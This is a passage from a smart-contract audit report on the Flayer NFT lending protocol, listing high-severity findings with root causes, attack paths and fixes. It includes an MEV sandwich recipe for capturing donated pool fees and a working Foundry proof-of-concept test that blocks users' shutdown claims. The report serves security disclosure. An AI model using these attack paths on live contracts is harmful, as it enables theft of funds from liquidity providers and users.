- `liquidateProtectedListing` : Amount worth `1ether-listing.tokenTaken-KEEPER_REWARD` is donated. This amount will be huge in cases where, someone listed a

protected listing and took 0.5 ether as token taken, but didnot unlock the listing. So since utilization rate became high, the listing heath gone negative and was put to liquidation during this time an amount f (1 ether - 0.5 ether taker - 0.05 ether keeper reward) = 0.40 ether is donated to pool. Thats a 1000$ direct donation

- Other 5 flows of Listings contract, such as `cancelListing`, `modifyListings`, `fillListings`, `Reserve` and `Relist` donate the tax fees to the pool. The likelihood is above medium to have huge amount when most users do multiple arrays of tokens of multiple collections done in one transaction.

Issue flow :

1. Figure out the tick where the donated fee will go in according to the @notice comment above on `IPoolManager.donate`.
2. And provide the in-range liquidity so heavy (like 100x than available in the whole range of that pool).
3. Then do the `liquidateProtectedListing`, `cancelListing`, `modifyListings`, `fillListings`, `Reserve` and `Relist` actions that donate fees worth doing this sandwich
4. Then trigger a fee donation happening on `beforeswap` hook and then remove the provided liquidity in the first step.

You don't need to frontrun other user's actions, Just do this sandwiching whenever a liquidation of someone's listing happens. And you can also recover the paid tax/fees of your listings by this MEV. Or eevn better if chain allows to have public mempool, then every user's action is sandwichable.

https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L335-L345

https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L58-L62

```
UniswapImplementation.sol

32:     /// Prevents fee distribution to Uniswap V4 pools below a certain threshold:
33:     /// - Saves wasted calls that would distribute less ETH than gas spent
34:     /// - Prevents targetted distribution to sandwich rewards
35:     uint public donateThresholdMin = 0.001 ether;
36:  >> uint public donateThresholdMax = 0.1 ether;


336:     function _distributeFees(PoolKey memory _poolKey) internal {
 ---- SNIP ----
365:         if (poolFee > 0) {
366:             // Determine whether the currency is flipped to determine which is
 ↪  the donation side
367:             (uint amount0, uint amount1) = poolParams.currencyFlipped ?
 ↪  (uint(0), poolFee) : (poolFee, uint(0));
```

```
368:    >>>         BalanceDelta delta = poolManager.donate(_poolKey, amount0,
 ↪  amount1, '');
369:
370:             // Check the native delta amounts that we need to transfer from
 ↪  the contract
371:             if (delta.amount0() < 0) {
372:                 _pushTokens(_poolKey.currency0, uint128(-delta.amount0()));
373:             }
374:
375:             if (delta.amount1() < 0) {
376:                 _pushTokens(_poolKey.currency1, uint128(-delta.amount1()));
377:             }
378:
379:             emit PoolFeesDistributed(poolParams.collection, poolFee, 0);
380:         }
 ---- SNIP ----

402:     }
403:
```

Impact

Loss of funds to the LPs. The fees they about to get due to LP, can be sandwiched and extracted. So high severity, and above medium likelihood even in the chans that doesn't have mempool. So, high severity.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L335-L345

https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/interfaces/IPoolManager.sol#L167-L172

https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/BaseImplementation.sol#L58-L62

Tool used

Manual Review

Recommendation

Introduce a new way to track how much is donated on this block and limit it on evrery `_donate` call. example, allow only 0.1 ether per block

Issue H-21: The health of a `ProtectedListing` is incorrectly calculated if the `tokenTaken` has be changed through `ProtectedListings::adjustPosition()`.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/689

Found by

0x73696d616f, 0xNirix, ZeroTrust, dimulski, t.aksoy, zarkk01

Summary

`ProtectedListings::adjustPosition()` will change the `tokenTaken` but after this, `ProtectedListings::getProtectedListingHealth()` will assume that these `tokenTaken` has been the same as the starting ones and will incorrectly compound them.

Root Cause

A user can create a `ProtectedListing` by calling `ProtectedListings::createPosition()`, deposit his token and take back an amount `tokenTake` as debt. This amount is supposed to be compounded through the time depending on the newest compound factor and the compound factor when the position was created. However, when the user calls `ProtectedListings::adjustPosition()` and take some more debt, this new debt will be assume it will be there from the start and it will be compounded as such in `ProtectedListings::getProtectedListingHealth()` while this is not the case and it will be compounded from the moment it got taken. Let's have a look on `ProtectedListings::adjustPosition()`:

```
    function adjustPosition(address _collection, uint _tokenId, int _amount) public
↪   lockerNotPaused {
        // ...

        // Get the current debt of the position
@>        int debt = getProtectedListingHealth(_collection, _tokenId);

        // ...

        // Check if we are decreasing debt
        if (_amount < 0) {
            // ...
```

```
            // Update the struct to reflect the new tokenTaken, protecting from
↪   overflow
@>              _protectedListings[_collection][_tokenId].tokenTaken -=
↪   uint96(absAmount);
        }
        // Otherwise, the user is increasing their debt to take more token
        else {
           // ...

            // Update the struct to reflect the new tokenTaken, protecting from
↪   overflow
@>              _protectedListings[_collection][_tokenId].tokenTaken +=
↪   uint96(absAmount);
        }

        // ...
    }
```

Link to code

As we can see, this function just increases or decreases the `tokenTaken` of this `ProtectedListings` meaning the debt that the owner should repay. Now, if we see the `ProtectedListings::getProtectedListingHealth()`, we will understand that function just takes the `tokenTaken` and compounds it without caring **when** this `tokenTaken` increased or decreased :

```
    function getProtectedListingHealth(address _collection, uint _tokenId) public
↪   view listingExists(_collection, _tokenId) returns (int) {
        // So we start at a whole token, minus: the keeper fee, the amount of
↪   tokens borrowed
        // and the amount of collateral based on the protected tax.
@>        return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection,
↪   _tokenId));
    }

    function unlockPrice(address _collection, uint _tokenId) public view returns
↪   (uint unlockPrice_) {
        // Get the information relating to the protected listing
        ProtectedListing memory listing = _protectedListings[_collection][_tokenId];

        // Calculate the final amount using the compounded factors and principle
↪   amount
        unlockPrice_ = locker.taxCalculator().compound({
@>            _principle: listing.tokenTaken,
            _initialCheckpoint:
↪   collectionCheckpoints[_collection][listing.checkpoint],
            _currentCheckpoint: _currentCheckpoint(_collection)
        });
    }
```

Link to code

So, it will take this `tokenTaken` and it will compound it from the start of the `ProtectedListing` until now, while it shouldn't be the case since some debt may have been added later (through `ProtectedListings::adjustPosition()`) and in this way this amount must be compounded from the moment it got taken until now, not from the start.

Internal pre-conditions

1. User creates a `ProtectedListing` through `ProtectedListings::createListings()`.

External pre-conditions

1. User wants take some debt on his `ProtectedListing`.

Attack Path

1. Firstly, user calls `ProtectedListings::createListings()` and creates a `ProtectedListing` with `tokenTaken` and expecting them to compound.
2. After some time and the initial `tokenTaken` have been compounded a bit, user decides to take some more debt and increase `tokenTaken` and calls `ProtectedListings::adjustListing()` to take `x` more debt.
3. Now, `ProtectedListings::getProtectedListingHealth()` shows that the `x` more debt is compounded like it was taken from the very start of the `ProtectedListing` creation and in this way his debt is unfairly more inflated.

Impact

The impact of this serious vulnerability is that the user is being in more debt than what he should have been, since he accrues interest for a period that he had not actually taken that debt. In this way, while he expects his `tokenTaken` to be increased by `x` amount (as it would be fairly happen), he sees his debt to be inflated by `xcompounded`. This can cause instant and unfair liquidations and **loss of funds** for users unfairly taken into more debt.

PoC

No PoC needed.

Mitigation

To mitigate this vulnerability successfully, consider updating the checkpoints of the `ProtectedListing` whenever an adjustment is happening in the `position`, so the debt to be compounded correctly.

Issue H-22: `reserve()` doesn't deletes the `_isLiquidation` mapping, causing tax loss for owner in future

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/698

Found by

0x37, BADROBINX, BugPull, Ollam, araj, cawfree, h2134, kuprum, utsav, zzykxx

Summary

`reserve()` doesn't deletes the `_isLiquidation` mapping, causing tax loss for owner in future

Vulnerability Detail

When a user reserve() a tokenId, it doesn't deletes the `_isLiquidation` mapping.

```
    function reserve(address _collection, uint _tokenId, uint _collateral) public
↪   nonReentrant lockerNotPaused {
//
        // Check if the listing is a floor item and process additional logic if
↪   there
        // was an owner (meaning it was not floor, so liquid or dutch).
        if (oldListing.owner != address(0)) {
            // We can process a tax refund for the existing listing if it isn't a
↪   liquidation
            if (!_isLiquidation[_collection][_tokenId]) {
                (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
                if (_fees != 0) {
                    emit ListingFeeCaptured(_collection, _tokenId, _fees);
                }
            }

            // If the floor multiple of the original listings is different, then
↪   this needs
            // to be paid to the original owner of the listing.
            uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
            if (listingPrice > listingFloorPrice) {
                unchecked {
                    collectionToken.transferFrom(msg.sender, oldListing.owner,
↪   listingPrice - listingFloorPrice);
                }
```

```
            }

            // Reduce the amount of listings
            unchecked { listingCount[_collection] -= 1; }
        }
//
    }
```

Let's go step by step to see how this will create problem for the owner:

1. Suppose a token is liquidated, which set the `_isLiquidation=true` for that tokenId in listing.sol
2. A user reserved that tokenId(_isLiquidation is not deleted) & withdrawn that token from protectedListing.sol
3. He listed that tokenId in listing.sol paying tax amount.
4. Now, if that tokenId is filled then owner should get tax refund amount(if any) but will not receive due to _isLiquidation = true for that tokenId.

```
 function _fillListing(address _collection, address _collectionToken, uint
 ↪  _tokenId) private {
//
        if (_listings[_collection][_tokenId].owner != address(0)) {
            // Check if there is collateral on the listing, as this we bypass fees
 ↪  and refunds
            if (!_isLiquidation[_collection][_tokenId]) {
                // Find the amount of prepaid tax from current timestamp to prepaid
 ↪  timestamp
                // and refund unused gas to the user.
>                (uint fee, uint refund) =
 ↪  _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
                emit ListingFeeCaptured(_collection, _tokenId, fee);
//
    }
```

Impact

Lose of tax amount for the user

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L501C12-L510C18 https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690C4-L759C6

Tool used

Manual Review

Recommendation

Delete the _isLiquidation mapping in reserve()

Issue H-23: Lister is overpaying during the cancel of his listing on `Listings::cancelListings()`.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/705

Found by

0x73696d616f, almurhasan, zarkk01

Summary

Lister unfairly double pays the `taxused` while he is cancelling his `listing` through `Listings::cancelListings()`.

Root Cause

When a user is creating his `listing` through `Listings::createListings()`, he is paying upfront the tax that is expected to be used for the whole duration of the `listing`. However, if he decides to cancel the listing after some time calling `Listings::cancelListings()`, he will find himself paying again the portion of the tax that has been used until this point. Let's see the `Listings::cancelListings()` :

```
    function cancelListings(address _collection, uint[] memory _tokenIds, bool
↪   _payTaxWithEscrow) public lockerNotPaused {
        uint fees;
        uint refund;

        for (uint i; i < _tokenIds.length; ++i) {
            uint _tokenId = _tokenIds[i];

            // Read the listing in a single read
            Listing memory listing = _listings[_collection][_tokenId];

            // Ensure the caller is the owner of the listing
            if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);

            // We cannot allow a dutch listing to be cancelled. This will also
↪   check that a liquid listing has not
            // expired, as it will instantly change to a dutch listing type.
            Enums.ListingType listingType = getListingType(listing);
            if (listingType != Enums.ListingType.LIQUID) revert
↪   CannotCancelListingType();
```

```
            // Find the amount of prepaid tax from current timestamp to prepaid
↪   timestamp
            // and refund unused gas to the user.
            (uint _fees, uint _refund) = _resolveListingTax(listing, _collection,
↪   false);
            emit ListingFeeCaptured(_collection, _tokenId, _fees);

            fees += _fees;
            refund += _refund;

            // Delete the listing objects
            delete _listings[_collection][_tokenId];

            // Transfer the listing ERC721 back to the user
            locker.withdrawToken(_collection, _tokenId, msg.sender);
        }

        // cache
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // Burn the ERC20 token that would have been given to the user when it was
↪   initially created
@>          uint requiredAmount = ((1 ether * _tokenIds.length) * 10 **
↪   collectionToken.denomination()) - refund;
@>          payTaxWithEscrow(address(collectionToken), requiredAmount,
↪   _payTaxWithEscrow);
        collectionToken.burn(requiredAmount + refund);

       // ...
    }
```

Link to code

As we can see, user is expected to return back the whole `1e18-refund`. It helps to remember that when he created the listing he "took" `1e18-TAX` where, now, `TAX=refund+fees`. So the user is expected to give back to the protocol `1e18-refund` while he got `1e18-refund-fees`. The difference of what he got at the start and what he is expected to return now :

```
whatHeGot - whatHeMustReturn = (1e18 - refund - fees) - (1e18 - refund) = -fees
```

So, now the user has to get out of his pocket and pay again for the `fees` while, technically, he has paid for them in the start **by not ever taking them**.

Furthermore, in this way, as we can see from this line, the protocol burns the whole `1e18` without considering the `tax` that **got actually used** and shouldn't be burned as it will be deposited to the `UniswapV4Implementation` :

```
collectionToken.burn(requiredAmount + refund);
```

Internal pre-conditions

1. User creates a `listing` from `Listings::createListings()`.

External pre-conditions

1. User wants to cancel his `listing` by `Listings:cancelListings()`.

Attack Path

1. User creates a `listing` from `Listings::createListings()` and takes back as `collectionTokens -> 1e18-prepaidTax` .
2. Some time passes by.
3. User wants to cancel the `listing` by calling `Listings::cancelListings()` and he has to give back `1e18-unusedTax`. This mean that he has to give also the `usedTax` amount.

Impact

The impact of this serious vulnerability is that the user is forced to double pay the tax that has been used for the duration that his `listing` was up. He, firstly, paid for it by not taking it and now, when he cancels the `listing`, he has to pay it again out of his own pocket. This results to unfair **loss of funds** for whoever tries to cancel his `listing`.

PoC

No PoC needed.

Mitigation

To mitigate this vulnerability successfully, consider not requiring user to return the `fee` variable as well :

```
    function cancelListings(address _collection, uint[] memory _tokenIds, bool
↪   _payTaxWithEscrow) public lockerNotPaused {
        uint fees;
        uint refund;

        for (uint i; i < _tokenIds.length; ++i) {
```

```
            // ...
        }

        // cache
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // Burn the ERC20 token that would have been given to the user when it was
↪   initially created
-       uint requiredAmount = ((1 ether * _tokenIds.length) * 10 **
↪   collectionToken.denomination()) - refund;
+       uint requiredAmount = ((1 ether * _tokenIds.length) * 10 **
↪   collectionToken.denomination()) - refund - fees;
        payTaxWithEscrow(address(collectionToken), requiredAmount,
↪   _payTaxWithEscrow);
        collectionToken.burn(requiredAmount + refund);

        // ...
    }
```

Issue H-24: Incorrect index handling in checkpoint creation leads to incorrect initial checkpoint retrieval and potential DoS

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/732

Found by

0x37, ComposableSecurity, Ironsidesec, KungFuPanda, McToady, Ollam, Tendency, blockchain555, dany.armstrong90, g, h2134, heeze, merlinboii, stuart_the_minion, zzykxx

Summary

In the current implementation of , when multiple listings are created for the same collection at the same timestamp, the existing checkpoint is updated, and no new checkpoint is pushed.

However, the function incorrectly returns the wrong index for this case leads to incorrect index referencing during subsequent listing creations.

Vulnerability Detail

When a checkpoint is created at the same timestamp, the existing checkpoint is updated, and no new checkpoint is pushed.

ProtectedListings::_createCheckpoint()

```
File: ProtectedListings.sol
530:     function _createCheckpoint(address _collection) internal returns (uint
↪  index_) {
531:         // Determine the index that will be created
532:         index_ = collectionCheckpoints[_collection].length;
---
559:         // Get our new (current) checkpoint
560:         Checkpoint memory checkpoint = _currentCheckpoint(_collection);
561:
562:         // If no time has passed in our new checkpoint, then we just need to
↪  update the
563:         // utilization rate of the existing checkpoint.
564:@>          if (checkpoint.timestamp ==
↪  collectionCheckpoints[_collection][index_ - 1].timestamp) {
565:@>              collectionCheckpoints[_collection][index_ - 1].compoundedFactor
↪  = checkpoint.compoundedFactor;
566:@>              return index_;
```

```
567:         }
---
571:     }
```

However, the current implementation returns the wrong index for this case, causing incorrect checkpoint handling for new listing creations, especially when creating multiple listings for the same collection with different variations.

ProtectedListings::createListings()

```
File: ProtectedListings.sol
116:      */
117:     function createListings(CreateListing[] calldata _createListings) public
↪  nonReentrant lockerNotPaused {
---
134:             checkpointKey = keccak256(abi.encodePacked('checkpointIndex',
↪  listing.collection));
135:             assembly { checkpointIndex := tload(checkpointKey) }
136:             if (checkpointIndex == 0) {
137:                 checkpointIndex = _createCheckpoint(listing.collection);
138:                 assembly { tstore(checkpointKey, checkpointIndex) }
139:             }
---
143:             tokensReceived = _mapListings(listing, tokensIdsLength,
↪  checkpointIndex) * 10 **
↪  locker.collectionToken(listing.collection).denomination();
---
156:     }
```

An edge case arises when a new listing is created for a collection that has no checkpoints (`collectionCheckpoints[_collection].length==0`).

Assuming `erc721b` has no existing checkpoints (length = 0):

- Creating 2 `CreateListings` for the same collection (`erc721b`) with different variants should result in only one checkpoint being created.
- In the first iteration, the returns `0` as the index, stores it in `checkpointIndex`, and updates the transient storage at the `checkpointKey` slot. The listing is then stored with the current checkpoint.

ProtectedListings::createListings()

```
File: ProtectedListings.sol
116:      */
117:     function createListings(CreateListing[] calldata _createListings) public
↪  nonReentrant lockerNotPaused {
---
134:             checkpointKey = keccak256(abi.encodePacked('checkpointIndex',
↪  listing.collection));
135:             assembly { checkpointIndex := tload(checkpointKey) }
```

```
136:@>           if (checkpointIndex == 0) {
137:@>               checkpointIndex = _createCheckpoint(listing.collection);
138:@>               assembly { tstore(checkpointKey, checkpointIndex) }
139:             }
---
143:             tokensReceived = _mapListings(listing, tokensIdsLength,
 ↪  checkpointIndex) * 10 **
 ↪  locker.collectionToken(listing.collection).denomination();
---
156:     }
```

- In the second iteration, since `checkpointKey` stores `0`, is triggered again and returns `1` (the length of checkpoints) even though no new checkpoint was pushed.

As a result, the second iteration incorrectly references index `1`, even though the checkpoint only exists at index `0` (with a length of 1). This causes incorrect indexing for the listings.

Impact

Incorrect index returns lead to the wrong initial checkpoint index for new listings, causing incorrect checkpoint retrieval and utilization. This can result in inaccurate data and potential out-of-bound array access, leading to a Denial of Service (DoS) in

Code Snippet

ProtectedListings::_createCheckpoint()

```
File: ProtectedListings.sol
530:     function _createCheckpoint(address _collection) internal returns (uint
 ↪  index_) {
531:         // Determine the index that will be created
532:         index_ = collectionCheckpoints[_collection].length;
---
559:         // Get our new (current) checkpoint
560:         Checkpoint memory checkpoint = _currentCheckpoint(_collection);
561:
562:         // If no time has passed in our new checkpoint, then we just need to
 ↪  update the
563:         // utilization rate of the existing checkpoint.
564:@>         if (checkpoint.timestamp ==
 ↪  collectionCheckpoints[_collection][index_ - 1].timestamp) {
565:@>             collectionCheckpoints[_collection][index_ - 1].compoundedFactor
 ↪  = checkpoint.compoundedFactor;
566:@>             return index_;
567:         }
---
```

```
571:     }
```

ProtectedListings::createListings()

```
File: ProtectedListings.sol
116:      */
117:     function createListings(CreateListing[] calldata _createListings) public
 ↪  nonReentrant lockerNotPaused {
---
134:             checkpointKey = keccak256(abi.encodePacked('checkpointIndex',
 ↪  listing.collection));
135:             assembly { checkpointIndex := tload(checkpointKey) }
136:@>           if (checkpointIndex == 0) {
137:@>               checkpointIndex = _createCheckpoint(listing.collection);
138:@>               assembly { tstore(checkpointKey, checkpointIndex) }
139:             }
---
143:             tokensReceived = _mapListings(listing, tokensIdsLength,
 ↪  checkpointIndex) * 10 **
 ↪  locker.collectionToken(listing.collection).denomination();
---
156:     }
```

ProtectedListings::unlockPrice()

```
File: ProtectedListings.sol
607:     function unlockPrice(address _collection, uint _tokenId) public view
 ↪  returns (uint unlockPrice_) {
608:         // Get the information relating to the protected listing
609:         ProtectedListing memory listing =
 ↪  _protectedListings[_collection][_tokenId];
610:
611:         // Calculate the final amount using the compounded factors and
 ↪  principle amount
612:         unlockPrice_ = locker.taxCalculator().compound({
613:             _principle: listing.tokenTaken,
614:             _initialCheckpoint:
 ↪  collectionCheckpoints[_collection][listing.checkpoint],
615:             _currentCheckpoint: _currentCheckpoint(_collection)
616:         });
617:     }
```

Tool used

Manual Review

Recommendation

Update the return value of the `ProtectedListings::_createCheckpoint()` to return `index_-1` when the checkpoint is updated at the same timestamp to ensure that subsequent listings reference the correct index.

```
function _createCheckpoint(address _collection) internal returns (uint index_) {
    // Determine the index that will be created
    index_ = collectionCheckpoints[_collection].length;
---
    // If no time has passed in our new checkpoint, then we just need to update the
    // utilization rate of the existing checkpoint.
    if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ -
↪   1].timestamp) {
        collectionCheckpoints[_collection][index_ - 1].compoundedFactor =
↪   checkpoint.compoundedFactor;
-         return index_;
+         return (index_ - 1);
    }
---
}
```

Issue H-25: The attacker will prevent eligible users from claiming the liquidated balance

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/742

Found by

0x37, 0xc0ffEE, BADROBINX, OpaBatyo, Ruhum, ZeroTrust, almantare, araj, asui, dany.armstrong90, merlinboii, utsav, zzykxx

Summary

The `CollectionShutdown` contract has vulnerabilities allowing a malicious actor to prevent eligible users from claiming the liquidated balance after liquidation by `SudoSwap`.

Root Cause

- The does not prevent voting after the collection shutdown is executed and/or during the claim state, allowing malicious actors to trigger `canExecute` to `TRUE` after execution.
- The does not use `params.collectionToken` to retrieve the `denomination()` for validating the total supply during cancellation, which opens the door to manipulations that can bypass the checks.

Internal pre-conditions

1. The collection token total supply must be within a valid limit for the shutdown condition (e.g., less than or equal to `MAX_SHUTDOWN_TOKENS`).
2. The `denomination` of the collection token for the shutdown collection is greater than 0.

External pre-conditions

1. The attacker holds some portion of the collection token supply for the shutdown collection.

Attack Path

Pre-condition:

1. Assume the collection token (CT) total supply is 4 CTs (`4*1e18*10**denom`).
2. There are 2 holders of this supply: **Lewis (2 CTs)** and **Max (2 CTs)**.

Attack:

1. Lewis notices that the collection can be shutdown and calls `CollectionShutdown::start()`.
    - `totalSupply` meets the condition `<=MAX_SHUTDOWN_TOKENS`.
    - `params.quorumVotes` = 50% of totalSupply = `2*1e18*1eDenom` (2 CTs).
    - Vote for Lewis is recorded.
    - The contract transfer 2 CTs of Lewis balances, and `params.shutdownVotes+=2CTs`.
    - Now `params.canExecute` is flagged to be `TRUE` since `params.shutdownVotes(2CTs)>=params.quorumVotes(2CTs)`.
2. Time passes, no cancellation occurs, and the owner executes the pending shutdown.
    - The NFTs are liquidated on SudoSwap.
    - `params.quorumVotes` remains the same as there is no change in supply.
    - The collection is sunset in the `Locker`, deleting `_collectionToken[_collection]` and `collectionInitialized[_collection]`.
    - `params.canExecute` is flagged back to `FALSE`.

After some or all NFTs are sold on SudoSwap:

3. Max monitors the NFT sales and prepares for the attack.
4. Max splits their balance of CTs to his another wallet and remains holding a small amount to perform the attack.
5. Max, who never voted, calls `CollectionShutdown::vote()` to **flag `params.canExecute` back to `TRUE`**.
    - The contract transfer small amount of CTs of Max balances.
    - Since `params.shutdownVotes>=params.quorumVotes` (due to Lewis' shutdown), `params.canExecute` is set back to `TRUE`.
6. Max registers the target collection again, manipulating the token's `denomination` via the `Locker::createCollection()`.
    - Max specifies a `denomination` lower than the previous one (e.g., previously 4, now 0).

7. Max invokes `CollectionShutdown::cancel()` to remove all properties of `_collectionParams[_collection]`, including `_collectionParams[].availableClaim`.
    - The following check passes:

```
File: CollectionShutdown.sol
398:         if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS *
↪  10 ** locker.collectionToken(_collection).denomination()) {
399:             revert InsufficientTotalSupplyToCancel();
400:         }
```

    - Since the new denomination is 0, the check becomes:

```
(4 * 1e18 * 10 ** 4) <= (4 * 1e18 * 10 ** 0): FALSE
```

Result: This check passes, allowing Max to cancel and prevent Lewis from claiming their eligible ETH from SudoSwap.

Impact

The attack allows a malicious actor to prevent legitimate token holders from claiming their eligible NFT sale proceeds from SudoSwap. This could lead to significant financial losses for affected users.

PoC

Setup

- Update the to mint CTs token with denominator more that 0

```
File: CollectionShutdown.t.sol
29:     constructor () forkBlock(19_425_694) {
30:         // Deploy our platform contracts
31:         _deployPlatform();
---
-35:         locker.createCollection(address(erc721b), 'Test Collection', 'TEST',
↪  0);
+35:         locker.createCollection(address(erc721b), 'Test Collection', 'TEST',
↪  4);
36:
```

- Put the snippet below into the protocol test suite: `flayer/test/utils/CollectionShutdown.t.sol`
- Run test:

```
forge test --mt test_CanBlockEligibleUsersToClaim -vvv
```

Coded PoC

```
    function test_CanBlockEligibleUsersToClaim() public {
    address Lewis = makeAddr("Lewis");
    address Max = makeAddr("Max");
    address MaxRecovery = makeAddr("MaxRecovery");

    // -- Before Attack --

    // Mint some tokens to our test users -> totalSupply: 4 ethers (can shutdown)
    vm.startPrank(address(locker));
    collectionToken.mint(Lewis, 2 ether * 10 ** collectionToken.denomination());
    collectionToken.mint(Max, 2 ether * 10 ** collectionToken.denomination());
    vm.stopPrank();

    // Start shutdown with their vore that has passed the threshold quorum
    vm.startPrank(Lewis);
    uint256 lewisVoteBalance = 2 ether * 10 ** collectionToken.denomination();
    collectionToken.approve(address(collectionShutdown), type(uint256).max);
    collectionShutdown.start(address(erc721b));
    assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Lewis)),
↪   lewisVoteBalance);
    vm.stopPrank();

    // Confirm that we can now execute
    assertCanExecute(address(erc721b), true);

    // Mint NFTs into our collection {Locker} and process the execution
    uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);
    collectionShutdown.execute(address(erc721b), tokenIds);

    // Confirm that the {CollectionToken} has been sunset from our {Locker}
    assertEq(address(locker.collectionToken(address(erc721b))), address(0));

    // After we have executed, we should no longer have an execute flag
    assertCanExecute(address(erc721b), false);

    // Mock the process of the Sudoswap pool liquidating the NFTs for ETH. This will
    // provide 0.5 ETH <-> 1 {CollectionToken}.
    _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether);

    // Ensure that all state are SET
    ICollectionShutdown.CollectionShutdownParams memory shutdownParamsBefore =
↪   collectionShutdown.collectionParams(address(erc721b));
    assertEq(shutdownParamsBefore.shutdownVotes, lewisVoteBalance);
    assertEq(shutdownParamsBefore.sweeperPool, SUDOSWAP_POOL);
    assertEq(shutdownParamsBefore.quorumVotes, lewisVoteBalance);
    assertEq(shutdownParamsBefore.canExecute, false);
    assertEq(address(shutdownParamsBefore.collectionToken),
↪   address(collectionToken));
```

```
    assertEq(shutdownParamsBefore.availableClaim, 2 ether);

    // -- Attack --
    uint256 balanceOfMaxBefore = collectionToken.balanceOf(address(Max));
    uint256 amountSpendForAttack = 1;

    // Transfer almost full funds to their second account and perform with small
↪   amount
    vm.prank(Max);
    collectionToken.transfer(address(MaxRecovery), balanceOfMaxBefore -
↪   amountSpendForAttack);
    uint256 balanceOfMaxAfter = collectionToken.balanceOf(address(Max));
    assertEq(balanceOfMaxAfter, amountSpendForAttack);

    // Max votes even it is in the claim state to flag the `canExecute` back to
↪   Trrue
    vm.startPrank(Max);
    collectionToken.approve(address(collectionShutdown), type(uint256).max);
    collectionShutdown.vote(address(erc721b));
    assertEq(collectionShutdown.shutdownVoters(address(erc721b), address(Max)),
↪   amountSpendForAttack);
    vm.stopPrank();

    // Confirm that Max can now flag `canExecute` back to `TRUE`
    assertCanExecute(address(erc721b), true);

    // Attack to delete all varaibles track, resulting others cannot claim thier
↪   eligible ethers
    vm.startPrank(Max);
    locker.createCollection(address(erc721b), 'Test Collection', 'TEST', 0);
    collectionShutdown.cancel(address(erc721b));
    vm.stopPrank();

    // Ensure that all state are DELETE
    ICollectionShutdown.CollectionShutdownParams memory shutdownParamsAfter =
↪   collectionShutdown.collectionParams(address(erc721b));
    assertEq(shutdownParamsAfter.shutdownVotes, 0);
    assertEq(shutdownParamsAfter.sweeperPool, address(0));
    assertEq(shutdownParamsAfter.quorumVotes, 0);
    assertEq(shutdownParamsAfter.canExecute, false);
    assertEq(address(shutdownParamsAfter.collectionToken), address(0));
    assertEq(shutdownParamsAfter.availableClaim, 0);

    // -- After Attack --
    vm.expectRevert();
    vm.prank(Lewis);
    collectionShutdown.claim(address(erc721b), payable(Lewis));
}
```

Result Results of running the test:

```
Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
[PASS] test_CanBlockEligibleUsersToClaim() (gas: 1491640)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.96s (3.48ms CPU
↪  time)

Ran 1 test suite in 11.17s (10.96s CPU time): 1 tests passed, 0 failed, 0 skipped
↪  (1 total tests)
```

Mitigation

- Add validations to prevent manipulation of the CT denomination, and restrict voting during the claim state to prevent re-triggering of `params.canExecute`.

```
function vote(address _collection) public nonReentrant whenNotPaused {
    // Ensure that we are within the shutdown window
    CollectionShutdownParams memory params = _collectionParams[_collection];
    if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
+   if (params.sweeperPool != address(0)) revert ShutdownExecuted();
    _collectionParams[_collection] = _vote(_collection, params);
}
```

- Update the usage of token denomination to use the token depens on the tracked token to inconsisten value.

```
function cancel(address _collection) public whenNotPaused {
    // Ensure that the vote count has reached quorum
    CollectionShutdownParams memory params = _collectionParams[_collection];
    if (!params.canExecute) revert ShutdownNotReachedQuorum();

    // Check if the total supply has surpassed an amount of the initial required
    // total supply. This would indicate that a collection has grown since the
    // initial shutdown was triggered and could result in an unsuspected
↪   liquidation.
-    if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 **
↪   locker.collectionToken(_collection).denomination()) {
+    if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 **
↪   params.collectionToken.denomination()) {
        revert InsufficientTotalSupplyToCancel();
    }

    // Remove our execution flag
    delete _collectionParams[_collection];
    emit CollectionShutdownCancelled(_collection);
}
```

Issue M-1: Previous `beneficiary` will not be able to claim `beneficiaryFees` if current beneficiary is a pool

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/101

Found by

Ragnarok, araj, cawfree, dany.armstrong90, g, h2134, utsav

Summary

Previous `beneficiary` will not be able to claim `beneficiaryFees` if current beneficiary is a `pool`

Vulnerability Detail

Beneficiary can claim their fees using `claim()`, which checks if the `beneficiaryIsPool` and if its true, it reverts

```
function claim(address _beneficiary) public nonReentrant {
        // Ensure that the beneficiary has an amount available to claim. We don't
 ↪  revert
        // at this point as it could open an external protocol to DoS.
        uint amount = beneficiaryFees[_beneficiary];
        if (amount == 0) return;

        // We cannot make a direct claim if the beneficiary is a pool
